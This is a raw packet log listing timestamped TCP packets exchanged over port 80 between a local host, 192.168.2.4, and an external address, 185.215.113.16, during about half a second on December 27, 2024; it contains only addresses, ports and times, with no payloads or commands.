Dec 27, 2024 08:45:23.598750114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.598750114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.599361897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.599447012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.599459887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.600075006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.600181103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.600234032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.600788116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.600831985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.600908041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.601517916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.601639032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.601639032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.602233887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.602288961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.602319002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.651444912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.754198074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.754214048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.754287958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.754501104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.754663944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.754823923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.754877090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.755333900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.755345106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.755388021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.756026030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.756103039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.756165028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.756551981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.756563902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.756608963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.757376909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.757433891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.757546902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.758162022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.758210897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.758263111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.758920908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.758965969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.759016991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.759637117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.759768009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.759818077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.760108948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.760160923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.760413885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.760988951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.761001110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.761049032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.761734962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.761784077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.761782885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.762358904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.762497902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.762552023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.763107061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.763156891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.763266087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.763700008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.763806105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.763858080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.764606953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.764617920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.764652967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.765234947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.765245914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.765275955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.765827894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.765868902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.766021013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.766545057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.766669035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.766715050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.767332077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.767380953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.767415047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.767991066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.768079996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.768125057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.769177914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.769227028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.769346952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.769665956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.769676924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.769773006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.770306110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.770318985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.770371914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.770824909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.770872116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.770898104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.771676064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.771835089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.771878958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.772315979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.772335052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.772357941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.772964954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.773015976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.773058891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.773675919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.773766994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.773812056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.774403095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.774502039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.774547100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.775091887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.775136948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.775172949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.775857925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.776031971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.776077032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.776557922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.776612997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.776633024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.777237892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.777404070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.777453899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.777980089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.778032064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.778067112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.778651953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.778784990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.778831959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.779392004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.779439926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.779473066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.780083895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.780196905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.780242920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.780885935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.780931950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.780946970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.781538010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.781697035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.781743050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.782265902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.782377005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.782422066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.782978058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.783026934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.783099890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.783714056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.783801079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.783849001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.797594070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.797619104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.797688961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.797904015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.798053980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.798064947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.798151970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.798280954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.798782110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.798866034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.799513102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.799571037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.799592972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.799633026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.800263882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.800416946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.800924063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.800972939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.801022053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.801064968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.801620960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.801732063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.802287102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.802345991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.802444935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.803049088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.803101063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.803141117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.803184986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.803754091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.803848982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.806282997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.955543041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.955564022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.955621004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.955801010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.955895901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.955941916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.956485987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.956758976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.956806898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.956831932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.957479954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.957519054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.957602978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.958199024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.958245039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.958301067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.958901882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.958964109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.959033012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.959623098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.959708929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.959722042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.960347891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.960397005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.960424900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.961083889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.961122036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.961230993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.961772919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.961823940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.961991072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.962495089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.962542057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.962599039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.963207006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.963254929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.963285923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.963893890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.963967085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.963999987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.964642048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.964682102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.964777946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.965361118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.965419054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.965565920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.966097116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.966140985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.966164112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.966784954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.966841936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.966883898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.967478037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.967526913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.967622042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.968182087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.968234062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.968272924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.968972921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.969105005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.969156027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.969604969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.969655991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.969707966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.970386028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.970431089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.970477104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.971059084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.971110106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.971148014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.971790075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.971867085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.971930981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.972496986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.972547054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.972580910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.973175049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.973285913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.973352909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.973889112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.973936081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.974004030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.974662066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.974740982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.974796057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.975349903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.975402117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.975474119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.976066113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.976207018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.976250887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.976743937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.976795912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.976834059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.977468967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.977579117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.977631092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.978178024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.978228092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.978267908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.978907108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.978952885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.979060888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.979593992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.979640961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.979712009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.980333090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.980437994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.980508089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.981086969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.981137991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.981144905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.981770039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.981865883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.981910944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.982450962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.982569933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.982613087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.983172894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.983216047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.983272076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.983925104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.984038115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.984086037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.984627008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.984673023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.984750032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.985326052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.985382080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.985424042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.999196053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.999259949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.999265909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.999334097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.999377012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.999460936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.000123978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.000230074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.000281096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.000765085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.000813961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.000888109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.001483917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.001583099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.001632929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.002230883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.002279043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.002309084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.002907038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.002957106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.003014088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.003642082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.003736973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.003789902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.004350901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.004398108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.004440069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.005074024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.005197048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.005248070 CET	49744	80	192.168.2.4	185.215.113.16
